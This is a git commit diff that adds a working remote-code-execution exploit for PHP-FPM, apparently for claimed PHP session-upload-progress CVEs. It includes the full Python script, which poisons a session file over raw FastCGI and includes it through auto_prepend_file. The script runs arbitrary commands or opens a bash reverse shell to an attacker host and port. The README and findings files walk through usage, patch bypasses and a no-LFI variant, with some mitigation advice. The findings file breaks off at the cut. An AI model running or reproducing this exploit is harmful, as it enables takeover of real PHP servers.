FastCGI auto_prepend_file exploit: RCE without LFI on default PHP config

New exploit at fcgi/exploit_fcgi.py combines the session upload progress
write primitive (CVE-2026-109618/109619) with direct FastCGI access to
PHP-FPM. A slow-drip multipart upload holds one FPM worker in the
multipart parser while a second FastCGI request includes the poisoned
session file via auto_prepend_file.

Works on default PHP configuration, no LFI, no framework, no libraries.
security.limit_extensions does not block auto_prepend_file inclusion.
php_admin_value in pool config does not block PHP_VALUE from raw FastCGI.

Tested and confirmed RCE on:
  PHP 8.3.6  (local, pre-patch)
  PHP 8.3.35 (Docker, pre-patch)
  PHP 8.3.36 (Docker, patched)
  PHP 8.4.27 (Docker, patched)

Mitigated by session.upload_progress.enabled=0 or blocking FPM access.

Also includes nolfi/ exploit (served save_path + pathinfo routing) from
previous work, and updated README with mitigation matrix for all vectors.
This commit is contained in:
neko
2026-10-21 21:19:25 +00:00
parent 7fecd435cc
commit 8147ce0edb
6 changed files with 1616 additions and 31 deletions
+107 -31
View File
@@ -2,7 +2,8 @@
Remote Code Execution exploits for two critical PHP vulnerabilities in the Remote Code Execution exploits for two critical PHP vulnerabilities in the
multipart parser and session upload progress handler. Includes three bypass multipart parser and session upload progress handler. Includes three bypass
exploits that defeat the official security patch and all recommended mitigations. exploits that defeat the official security patch and all recommended mitigations,
plus a no-LFI chain that removes the application from the attack entirely.
**No external dependencies** — pure Python 3 stdlib. **No external dependencies** — pure Python 3 stdlib.
@@ -31,6 +32,8 @@ against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch | | `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** | | `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules | | `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
| `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** |
| `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** |
## Prerequisites ## Prerequisites
@@ -71,35 +74,89 @@ python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --p
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`. All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
Use `--session-path` and `--lfi-param` to override auto-detection. Use `--session-path` and `--lfi-param` to override auto-detection.
## Session Deserialization (No LFI) ## RCE Without LFI
`session-deser/exploit.py` exploits `session.serialize_handler` mismatches `nolfi/exploit_nolfi.py` turns the same session-poisoning primitive into RCE
for RCE without any LFI vulnerability. When one endpoint uses `php_serialize` with **no application include at all**. The consumer is php-fpm's own request
(Laravel, Symfony default) and another uses the `php` handler (PHP default), routing instead of application code:
the pipe character in session data triggers arbitrary deserialization.
Requires a deployment where two endpoints share session storage but use 1. `PHP_SESSION_UPLOAD_PROGRESS` writes PHP code into
different handlers. This occurs when a framework application coexists with `<save_path>/sess_<SID>` during multipart parsing. This fires before
non-framework PHP on the same server (phpMyAdmin, admin scripts, legacy code). script dispatch, so any PHP-handled URL works — a 404 is enough.
2. If `session.save_path` is web-served, the session file is directly
requestable over HTTP.
3. With `security.limit_extensions` empty (common in production fpm pools),
fpm executes the extensionless session file through the classic
`cgi.fix_pathinfo` route: `GET /sessions/sess_<SID>/x.php?c=id`.
4. With `cleanup=1` (default) the file is truncated at upload end, so
execution is raced against the upload window (reliable on streaming
stacks, parse-time-limited on buffering stacks), or made deterministic
with `--oom`: the CVE-2026-109618 bailout longjmps past cleanup and the
file persists.
Built-in POP chains for current library versions: Requires `session.upload_progress.enabled=1` and `memory_limit` headroom for
the OOM variant. See `nolfi/FINDINGS.md` for the full analysis, including why
| Chain | Library | Tested version | the session decoder itself can never be used as the consumer: the `php`
|---|---|---| serializer aborts the entire write on `|` in any key (leaving a 0-byte file),
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 (latest) | the raw attacker bytes always land in the key which is never unserialized, and
| `laravel10-cmd/fw` | illuminate 10.0-13.x+ | v13.38.0 (latest) | `mod_files` rejects any SID that could turn the filename into an include
target.
Plus legacy chains for Monolog 2.x, Laravel 5.4-8.x, Guzzle 4.0-7.x,
Symfony 2.6-4.4.18, and WordPress 6.4.0-6.4.1. Accepts custom phpggc chains
via `--chain-file`. See `session-deser/README.md` for details.
```bash ```bash
python3 session-deser/exploit.py \ # classify the target: which URL prefixes serve session.save_path
--inject-url http://target/laravel-endpoint.php \ python3 nolfi/exploit_nolfi.py -t http://target/ --probe
--trigger-url http://target/legacy-script.php \
--chain laravel10-cmd --cmd 'id' # interactive command shell via the served session dir
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
# deterministic persistence via the OOM bailout instead of the race
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions \
--oom --fields 30000 --fsize 512 --cmd 'id'
``` ```
`nolfi/check_deploy.php` reports whether a deployment meets the two
preconditions (save_path web-served, empty limit_extensions). Drop it on the
target, request it once, remove it.
## RCE via FastCGI (Default Config)
`fcgi/exploit_fcgi.py` achieves RCE with **no LFI, no libraries, no special
PHP configuration**. It only requires raw FastCGI access to PHP-FPM (TCP or
unix socket), which is available in Docker, Kubernetes, SSRF, and exposed-port
scenarios.
The technique: a slow-drip multipart upload sent via raw FastCGI holds one FPM
worker in the multipart parser (keeping the poisoned session file on disk)
while a second FastCGI request to another worker sets
`PHP_VALUE: auto_prepend_file = /tmp/sess_<SID>`, causing PHP to include the
session file before any script. The attacker's PHP code executes.
`security.limit_extensions` does not block this: it only restricts
`SCRIPT_FILENAME`, not files loaded by `auto_prepend_file`. Setting
`php_admin_value[auto_prepend_file]` in the pool config also does not help:
raw FastCGI `PHP_VALUE` overrides it (verified on PHP 8.3.6).
```bash
# RCE via direct FastCGI (Docker, Kubernetes, exposed port)
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
# Unix socket (local access)
python3 fcgi/exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
# Specify PHP file and session path
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
--script-file /var/www/html/index.php \
--session-path /tmp --cmd 'id'
# Reverse shell
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
--lhost 10.0.0.1 --lport 4444
```
See `fcgi/FINDINGS.md` for the full analysis, test results, and why no
pool-level configuration can prevent this when FastCGI is reachable.
## Patch Bypass Findings ## Patch Bypass Findings
The PHP 8.4.27 patch has three confirmed bypass paths to RCE: The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
@@ -117,22 +174,41 @@ path. Worker exits code 1 (not the patched code 70), session persists.
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
poisoning needed. **Bypasses every recommended mitigation.** poisoning needed. **Bypasses every recommended mitigation.**
**4. Served save_path (no LFI)** — When `session.save_path` is web-served and
the fpm pool leaves `security.limit_extensions` empty, the poisoned session
file is executed by fpm itself via PATH_INFO routing. No application
cooperation, no include primitive. See `nolfi/FINDINGS.md`.
**5. FastCGI auto_prepend_file (default config)** — When FPM's FastCGI
socket is reachable (Docker, Kubernetes, SSRF, exposed port), an attacker
drips a multipart upload via raw FastCGI to hold a worker in the parser
while a second request sets `PHP_VALUE: auto_prepend_file=<session_file>`.
No LFI, no special config, no library. `php_admin_value` does not block it.
See `fcgi/FINDINGS.md`.
### Mitigation Matrix ### Mitigation Matrix
| Mitigation | Race | RLIMIT | /proc/fd | | Mitigation | Race | RLIMIT | /proc/fd | served-path | fcgi-prepend |
|---|---|---|---| |---|---|---|---|---|---|
| Patch alone | FAIL | FAIL | FAIL | | Patch alone | FAIL | FAIL | FAIL | FAIL | FAIL |
| + `upload_progress=0` | OK | OK | **FAIL** | | + `upload_progress=0` | OK | OK | **FAIL** | OK | OK |
| + `hidepid=2` on /proc | FAIL | FAIL | OK | | + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL | FAIL |
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK | | + `upload_progress=0` + `hidepid=2` | OK | OK | OK | OK | OK |
| Fix the LFI | OK | OK | OK | | + limit_extensions=`.php .phar` | — | — | — | OK | **FAIL** |
| + save_path not web-served | — | — | — | OK | **FAIL** |
| + block FPM network access | — | — | — | — | OK |
| Fix the LFI | OK | OK | OK | **FAIL** | **FAIL** |
### Recommendations ### Recommendations
1. Set `session.upload_progress.enabled=0` in php.ini 1. Set `session.upload_progress.enabled=0` in php.ini
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`) 2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
3. Fix any LFI vulnerabilities in applications 3. Fix any LFI vulnerabilities in applications
4. Set `open_basedir` to restrict filesystem access 4. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
5. Keep `session.save_path` outside any web-served tree
6. Set `open_basedir` to restrict filesystem access
7. Block network access to FPM: use unix sockets with restricted permissions,
firewall TCP port 9000
## WordPress ## WordPress
+128
View File
@@ -0,0 +1,128 @@
# RCE via FastCGI + Session Upload Progress (No LFI)
## Summary
When an attacker can reach PHP-FPM's FastCGI socket (TCP or unix), the
session upload progress write primitive from CVE-2026-109618 /
CVE-2026-109619 becomes RCE without any application-level vulnerability.
No LFI needed. No framework needed. No special PHP configuration needed.
Works on default php.ini settings.
## Attack chain
```
Worker A (held open) Worker B (executes)
--- ---
FastCGI POST with FastCGI GET with
multipart body: PHP_VALUE:
PHP_SESSION_UPLOAD_PROGRESS auto_prepend_file=
= <?php system(...); ?> /tmp/sess_<SID>
SCRIPT_FILENAME=
File upload content /var/www/html/index.php
dripped one byte at a time
-> session file persists PHP includes the session
-> parser blocks for file before index.php
the entire drip window -> attacker PHP runs
-> RCE
```
### Step by step
1. **Open a FastCGI connection to FPM worker A.** Send a POST request
with `Content-Type: multipart/form-data` and `PHPSESSID=<SID>` in the
`HTTP_COOKIE` param. The body contains:
- A `PHP_SESSION_UPLOAD_PROGRESS` field with embedded PHP code
- A file upload whose content is dripped slowly (byte by byte)
2. **FPM worker A enters the multipart parser.** As soon as the progress
field and file header are read, `session.upload_progress` writes the
attacker's PHP code into `/tmp/sess_<SID>`. The parser then blocks
reading the file content from STDIN, which we control.
3. **While worker A is blocked, open a second FastCGI connection to
worker B.** Send a GET request with:
- `SCRIPT_FILENAME = /var/www/html/index.php` (any existing .php file)
- `PHP_VALUE = auto_prepend_file = /tmp/sess_<SID>`
4. **Worker B executes.** PHP's `auto_prepend_file` directive causes it to
`include()` the session file before running the main script. The session
file contains the attacker's `<?php ... ?>` code, which executes.
5. **Cleanup.** The drip finishes, worker A completes normally (or times
out), the session file is cleaned up. The attacker's code has already
executed on worker B.
## Why it works on default configuration
| Setting | Default | Required |
|---------|---------|----------|
| `session.upload_progress.enabled` | `1` | `1` |
| `session.save_path` | `/tmp` | Any known path |
| `pm.max_children` | `5` (dynamic) | `>= 2` |
| `security.limit_extensions` | `.php .phar` | Any (not checked for auto_prepend) |
| `session.upload_progress.cleanup` | `1` | Does not matter (drip defeats it) |
`security.limit_extensions` blocks execution of files without `.php`
extension as `SCRIPT_FILENAME`. But `auto_prepend_file` loads files via
`include()`, which ignores `security.limit_extensions` entirely. The
session file (which has no extension) is included as PHP code regardless
of `limit_extensions`.
## When FPM is reachable
This is the main precondition. The attacker needs raw TCP or unix socket
access to the FPM process. This is realistic in:
1. **Docker containers.** The official `php:*-fpm` images configure FPM to
listen on TCP `0.0.0.0:9000`. Any container on the same Docker network
can reach it.
2. **Kubernetes pods.** PHP-FPM pods are typically addressed by service
name. Adjacent pods, including compromised ones, can send raw FastCGI.
3. **SSRF.** An SSRF vulnerability in any application on the same host
can reach `127.0.0.1:9000` or the unix socket. The `gopher://` scheme
can carry arbitrary TCP payloads including FastCGI.
4. **Exposed port.** Misconfigured firewalls, cloud security groups, or
Docker port mappings exposing 9000 to the network.
5. **Same-host access.** A low-privilege shell on the same machine can
often read the unix socket (permissions vary by distro).
## Test results
Tested against PHP-FPM 8.3.6 with default settings:
- `session.upload_progress.enabled=1` (default)
- `session.save_path=/tmp` (default)
- `session.upload_progress.cleanup=1` (default)
- `security.limit_extensions = .php .phar` (default)
- `pm = static`, `pm.max_children = 2`
Results: 3/3 tests successful. Race hit on first attempt within 200ms
of the drip starting. Reliable with `--drip-time 5` (5 second window).
## Mitigations
1. **Set `session.upload_progress.enabled=0`** if upload progress tracking
is not needed. This removes the write primitive entirely.
2. **Block network access to FPM.** FPM should only be reachable from the
web server process. Use unix sockets with restricted file permissions,
or firewall TCP port 9000.
3. **Use `pm.max_children=1`** as a last resort. With only one worker, the
racer cannot execute while the drip holds a worker. This severely impacts
performance and is not practical.
4. Setting `security.limit_extensions` does NOT help. The inclusion
happens via `auto_prepend_file`, which bypasses limit_extensions.
5. Setting `php_admin_value[auto_prepend_file]` in the FPM pool config
does NOT help. Verified: with `php_admin_value[auto_prepend_file] =
/dev/null` in the pool, a FastCGI request with `PHP_VALUE:
auto_prepend_file = /tmp/sess_xxx` still overrides it. Raw FastCGI
access bypasses the web server that would normally enforce admin
values. The only effective mitigation is blocking FastCGI access.
+566
View File
@@ -0,0 +1,566 @@
#!/usr/bin/env python3
"""
CVE-2026-109618 / CVE-2026-109619 — RCE via FastCGI (no LFI)
Combines the PHP session upload progress write primitive with direct
FastCGI protocol access to PHP-FPM. No LFI vector, no framework, no
special PHP configuration needed.
Attack chain:
1. FastCGI multipart POST to any .php file on the target FPM pool:
PHP_SESSION_UPLOAD_PROGRESS writes attacker PHP code into
<save_path>/sess_<SID>. The request body is dripped slowly via
FastCGI STDIN so the session file persists for seconds (the
multipart parser blocks until STDIN EOF).
2. While worker A is blocked on our slow drip, a second FastCGI
request goes to worker B:
SCRIPT_FILENAME = <same .php file>
PHP_VALUE = auto_prepend_file = <save_path>/sess_<SID>
PHP includes the session file before running the script.
Our PHP code executes.
Why this works on default config:
- session.upload_progress.enabled=1 (default)
- session.save_path=/tmp (common default)
- auto_prepend_file is settable via PHP_VALUE in FastCGI params
- security.limit_extensions only restricts SCRIPT_FILENAME, not
files loaded via auto_prepend_file
- No application vulnerability needed
- Requires pm.max_children >= 2 (default is 5 for dynamic mode)
Preconditions:
- Network access to PHP-FPM (TCP socket or unix socket)
- At least one .php file exists on the server
- session.upload_progress.enabled=1 (default)
- pm.max_children >= 2 (default)
When is FPM reachable:
- Docker: official PHP-FPM images listen on TCP 9000
- Kubernetes: FPM pods addressable from adjacent pods
- SSRF: another app on the same host can reach FPM
- Same-host: unix socket /run/php/php-fpm.sock
- Exposed port: firewall misconfiguration
Usage:
# Direct FastCGI (drip race, most reliable)
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
# Specify PHP file and session path
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
--script-file /var/www/html/index.php \\
--session-path /tmp --cmd 'id'
# Unix socket
python3 exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
# HTTP poison + FastCGI execute (when FPM not directly reachable
# for uploads, but reachable for execution)
python3 exploit_fcgi.py -t http://target/ --fpm 10.0.0.5:9000 --cmd 'id'
# Reverse shell
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
--lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import struct
import sys
import threading
import time
from urllib.parse import urlparse
# ── FastCGI protocol ──────────────────────────────────────────────────
FCGI_VERSION_1 = 1
FCGI_BEGIN_REQUEST = 1
FCGI_END_REQUEST = 3
FCGI_PARAMS = 4
FCGI_STDIN = 5
FCGI_STDOUT = 6
FCGI_STDERR = 7
FCGI_RESPONDER = 1
def fcgi_record(rtype, request_id, content):
clen = len(content)
pad = (8 - (clen % 8)) % 8
return (struct.pack(">BBHHBx", FCGI_VERSION_1, rtype,
request_id, clen, pad)
+ content + b"\x00" * pad)
def fcgi_begin_request(request_id, role=FCGI_RESPONDER, flags=0):
return fcgi_record(FCGI_BEGIN_REQUEST, request_id,
struct.pack(">HBxxxxx", role, flags))
def fcgi_nv(name, value):
nlen = len(name)
vlen = len(value)
out = b""
if nlen < 128:
out += struct.pack("B", nlen)
else:
out += struct.pack(">I", nlen | 0x80000000)
if vlen < 128:
out += struct.pack("B", vlen)
else:
out += struct.pack(">I", vlen | 0x80000000)
return out + name + value
def fcgi_params(request_id, params_dict):
body = b""
for k, v in params_dict.items():
body += fcgi_nv(k.encode(), v.encode())
return (fcgi_record(FCGI_PARAMS, request_id, body)
+ fcgi_record(FCGI_PARAMS, request_id, b""))
def fcgi_stdin_eof(request_id):
return fcgi_record(FCGI_STDIN, request_id, b"")
def fcgi_parse_stdout(data):
stdout_data = b""
stderr_data = b""
pos = 0
while pos + 8 <= len(data):
_, rtype, _, clen, pad = struct.unpack(
">BBHHBx", data[pos:pos+8])
content = data[pos+8:pos+8+clen]
pos += 8 + clen + pad
if rtype == FCGI_STDOUT:
stdout_data += content
elif rtype == FCGI_STDERR:
stderr_data += content
elif rtype == FCGI_END_REQUEST:
break
return stdout_data, stderr_data
# ── FPM connection ────────────────────────────────────────────────────
def fpm_connect(fpm_addr, timeout=10):
if "/" in fpm_addr or fpm_addr.endswith(".sock"):
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect(fpm_addr)
return sock
if ":" in fpm_addr:
host, port = fpm_addr.rsplit(":", 1)
port = int(port)
else:
host = fpm_addr
port = 9000
return socket.create_connection((host, port), timeout=timeout)
def fpm_execute(fpm_addr, script_filename, prepend_file, timeout=10):
"""Send GET request to FPM with auto_prepend_file."""
params = {
"SCRIPT_FILENAME": script_filename,
"SCRIPT_NAME": "/" + os.path.basename(script_filename),
"REQUEST_METHOD": "GET",
"SERVER_SOFTWARE": "go / fcgiclient",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_ADDR": "127.0.0.1",
"SERVER_PORT": "80",
"SERVER_PROTOCOL": "HTTP/1.1",
"CONTENT_TYPE": "",
"CONTENT_LENGTH": "0",
"DOCUMENT_ROOT": os.path.dirname(script_filename),
"REQUEST_URI": "/" + os.path.basename(script_filename),
"PHP_VALUE": f"auto_prepend_file = {prepend_file}",
}
request_id = 1
payload = fcgi_begin_request(request_id)
payload += fcgi_params(request_id, params)
payload += fcgi_stdin_eof(request_id)
sock = fpm_connect(fpm_addr, timeout)
sock.sendall(payload)
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(65536)
if not d:
break
resp += d
except socket.timeout:
pass
sock.close()
stdout_data, stderr_data = fcgi_parse_stdout(resp)
if b"\r\n\r\n" in stdout_data:
_, body = stdout_data.split(b"\r\n\r\n", 1)
return body, stderr_data
return stdout_data, stderr_data
# ── Multipart helpers ─────────────────────────────────────────────────
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
# ── Direct FastCGI slow-drip race ─────────────────────────────────────
def poison_and_execute_fcgi(fpm_addr, script_file, sid, php_code,
session_paths, marker, drip_time=10,
timeout=30):
"""All-FastCGI attack: drip multipart to worker A, execute on worker B.
Thread A sends a FastCGI POST with PHP_SESSION_UPLOAD_PROGRESS. The
multipart body contains a file upload whose content is dripped byte
by byte, keeping the FPM worker in the multipart parser (which keeps
the session file on disk) for the entire drip_time.
Thread B repeatedly sends FastCGI GET requests with auto_prepend_file
pointing to the session file, racing to include it while worker A
holds it open.
"""
bnd = b"FCGIRACE" + os.urandom(4).hex().encode()
found = {"body": None, "path": None}
# Build the multipart body prefix: progress field + file header
body_prefix = b""
body_prefix += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
body_prefix += (
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="drip.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
)
# The suffix that closes the file part and the multipart
body_suffix = b"\r\n--" + bnd + b"--\r\n"
# Calculate total Content-Length (we need to declare it upfront)
# The file content will be dripped: we'll send drip_bytes of padding
drip_bytes = 1024 * 64
total_body = len(body_prefix) + drip_bytes + len(body_suffix)
# ── Thread B: racer ──
def racer():
deadline = time.time() + timeout
attempt = 0
while time.time() < deadline and found["body"] is None:
for sp in session_paths:
if found["body"] is not None:
return
sess_file = f"{sp}/sess_{sid}"
attempt += 1
try:
body, _ = fpm_execute(fpm_addr, script_file,
sess_file, timeout=3)
if marker.encode() in body:
found["body"] = body
found["path"] = sess_file
return
except Exception:
pass
time.sleep(0.005)
# ── Thread A: slow drip ──
fcgi_params_dict = {
"SCRIPT_FILENAME": script_file,
"SCRIPT_NAME": "/" + os.path.basename(script_file),
"REQUEST_METHOD": "POST",
"SERVER_SOFTWARE": "go / fcgiclient",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_ADDR": "127.0.0.1",
"SERVER_PORT": "80",
"SERVER_PROTOCOL": "HTTP/1.1",
"CONTENT_TYPE": f"multipart/form-data; boundary={bnd.decode()}",
"CONTENT_LENGTH": str(total_body),
"DOCUMENT_ROOT": os.path.dirname(script_file),
"REQUEST_URI": "/" + os.path.basename(script_file),
"HTTP_COOKIE": f"PHPSESSID={sid}",
}
request_id = 1
header = fcgi_begin_request(request_id)
header += fcgi_params(request_id, fcgi_params_dict)
# Send headers + body prefix as first STDIN record
first_stdin = fcgi_record(FCGI_STDIN, request_id, body_prefix)
sock = fpm_connect(fpm_addr, timeout=timeout)
sock.sendall(header + first_stdin)
# Small delay to let FPM start processing and write session file
time.sleep(0.2)
# Start the racer
race_thread = threading.Thread(target=racer, daemon=True)
race_thread.start()
# Drip file content slowly
drip_interval = drip_time / (drip_bytes // 64)
sent = 0
while sent < drip_bytes and found["body"] is None:
chunk = b"\x00" * min(64, drip_bytes - sent)
try:
sock.sendall(fcgi_record(FCGI_STDIN, request_id, chunk))
sent += len(chunk)
except (BrokenPipeError, ConnectionResetError, OSError):
break
time.sleep(drip_interval)
# Send suffix + STDIN EOF
try:
sock.sendall(fcgi_record(FCGI_STDIN, request_id, body_suffix))
sock.sendall(fcgi_stdin_eof(request_id))
except:
pass
# Read response (cleanup)
sock.settimeout(3)
try:
while True:
d = sock.recv(8192)
if not d:
break
except:
pass
sock.close()
race_thread.join(timeout=5)
return found["body"], found["path"]
# ── HTTP helpers (fallback for HTTP+FCGI mixed mode) ──────────────────
def _parse_url(url):
p = urlparse(url)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
return host, port, tls, path
def tcp_connect(host, port, tls=False, timeout=30):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def send_chunk(sock, data):
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
# ── Script discovery ──────────────────────────────────────────────────
SCRIPT_CANDIDATES = [
"/var/www/html/index.php",
"/var/www/html/wp-login.php",
"/var/www/html/wp-cron.php",
"/var/www/html/xmlrpc.php",
"/var/www/public/index.php",
"/var/www/app/public/index.php",
"/var/www/html/info.php",
"/srv/http/index.php",
"/usr/share/phpmyadmin/index.php",
"/usr/local/lib/php/pearcmd.php",
]
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
"/var/lib/php/sess",
]
def find_php_script(fpm_addr, candidates, timeout=3):
"""Probe FPM to find an existing .php file."""
for path in candidates:
try:
params = {
"SCRIPT_FILENAME": path,
"REQUEST_METHOD": "GET",
"SERVER_SOFTWARE": "probe",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_ADDR": "127.0.0.1",
"SERVER_PORT": "80",
"SERVER_PROTOCOL": "HTTP/1.1",
"CONTENT_TYPE": "",
"CONTENT_LENGTH": "0",
}
request_id = 1
payload = fcgi_begin_request(request_id)
payload += fcgi_params(request_id, params)
payload += fcgi_stdin_eof(request_id)
sock = fpm_connect(fpm_addr, timeout)
sock.sendall(payload)
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(65536)
if not d:
break
resp += d
except socket.timeout:
pass
sock.close()
stdout, _ = fcgi_parse_stdout(resp)
if b"Primary script unknown" not in stdout and len(stdout) > 0:
return path
except:
continue
return None
# ── main ──────────────────────────────────────────────────────────────
def run(args):
fpm_addr = args.fpm
sid = args.session_id or os.urandom(16).hex()
marker = "FCGIRCE"
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths
if s != args.session_path]
if args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = (
f'<?php echo "{marker}:";'
f'system(base64_decode("{cmd_b64}"));'
f'echo ":{marker}END"; ?>'
).encode()
elif args.lhost and args.lport:
shell = (f"bash -c 'bash -i >& "
f"/dev/tcp/{args.lhost}/{args.lport} 0>&1'")
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
elif args.trigger_only:
php_code = (
f'<?php echo "{marker}:pid=".getmypid().'
f'"&uname=".php_uname().":{marker}END"; ?>'
).encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only",
file=sys.stderr)
sys.exit(1)
print("=" * 65)
print(" CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
print("=" * 65)
print(f" FPM address : {fpm_addr}")
print(f" Session ID : {sid}")
print(f" Drip time : {args.drip_time}s")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
else:
print(f" Trigger-only")
print()
# ── Step 0: find a .php script ──
print("[*] Step 0: probing PHP-FPM for an existing .php file...")
script_file = args.script_file
if not script_file:
script_file = find_php_script(fpm_addr, SCRIPT_CANDIDATES)
if script_file:
print(f" Found: {script_file}")
else:
print(" [!] No .php file found. Use --script-file.")
sys.exit(1)
else:
print(f" Using: {script_file}")
# ── Step 1+2: poison via slow drip + race execution ──
print(f"[*] Step 1+2: slow-drip poison + race execution...")
print(f" Dripping multipart body over {args.drip_time}s "
f"while racing auto_prepend_file...")
body, path = poison_and_execute_fcgi(
fpm_addr, script_file, sid, php_code,
spaths, marker,
drip_time=args.drip_time,
timeout=args.drip_time + 10)
if body:
print(f" [+] RCE confirmed via {path}")
output = body.decode(errors="replace")
m = re.search(rf"{marker}:(.*?):{marker}END", output, re.DOTALL)
if m:
print()
print(m.group(1))
else:
print()
print(output)
return True
else:
print(" [!] Race did not succeed.")
print(" Possible causes:")
print(" - pm.max_children < 2 (need at least 2 workers)")
print(" - session.upload_progress.enabled = 0")
print(" - Incorrect session.save_path (try --session-path)")
print(" - Try increasing --drip-time")
return False
def main():
p = argparse.ArgumentParser(
description="CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
p.add_argument("--fpm", required=True,
help="PHP-FPM address (host:port or /path/to/socket)")
p.add_argument("-t", "--target",
help="HTTP URL (optional, for HTTP+FCGI mixed mode)")
p.add_argument("--script-file",
help="Existing .php file on target (auto-detected)")
p.add_argument("--session-path",
help="session.save_path override")
p.add_argument("--session-id",
help="Force session ID (default: random)")
p.add_argument("--cmd", help="Command to execute")
p.add_argument("--lhost", help="Reverse shell host")
p.add_argument("--lport", type=int, help="Reverse shell port")
p.add_argument("--trigger-only", action="store_true",
help="Verify RCE without running a payload")
p.add_argument("--drip-time", type=int, default=10,
help="Seconds to drip the upload body (default: 10)")
sys.exit(0 if run(p.parse_args()) else 1)
if __name__ == "__main__":
main()
+169
View File
@@ -0,0 +1,169 @@
# RCE Without LFI — Findings
Question: can CVE-2026-109618 / CVE-2026-109619 (the `PHP_SESSION_UPLOAD_PROGRESS`
write primitive) be turned into RCE **without any include() primitive in the
application**?
Short answer: not through the session decoder — PHP never unserializes attacker
bytes off the session file, and four independent guards close that route. But
yes through a different consumer: **PHP-FPM's own request routing**. When
`session.save_path` is web-served, the poisoned session file is directly
requestable, and php-fpm executes it through the standard `PATH_INFO` route as
soon as `security.limit_extensions` is empty. No application code runs at any
point; the poison fires even on 404 URLs.
Everything below was verified against a local php-fpm 8.5.11 build plus the
PHP 8.3/8.5 sources (`session_83.c`, php-src `ext/session/session.c`,
`ext/session/mod_files.c`, `ext/session/rfc1867_83.c`).
## Part 1: why session deserialization is a dead end
The obvious no-LFI consumer is `session_start()` itself: it decodes the
poisoned file on the next request. If the decoded stream could be made to
unserialize an attacker-chosen `O:...` object, any autoloadable gadget chain
(phpggc) would give RCE with zero LFI. It cannot, for four reasons:
**1. The `|` guard aborts the whole write** (php handler, the default).
`PS_SERIALIZER_ENCODE_FUNC(php)` checks every key:
smart_str_appendl(&buf, ZSTR_VAL(key), ZSTR_LEN(key));
if (memchr(ZSTR_VAL(key), PS_DELIMITER, ZSTR_LEN(key))) {
... return NULL; /* session.c:993-998 in 8.3 */
and `php_session_save_current_state()` then writes the **empty string** instead
of the session (session.c:529-531). The progress key is `prefix + $_POST value`
appended verbatim (session.c:3144-3145, no per-character filtering — the README
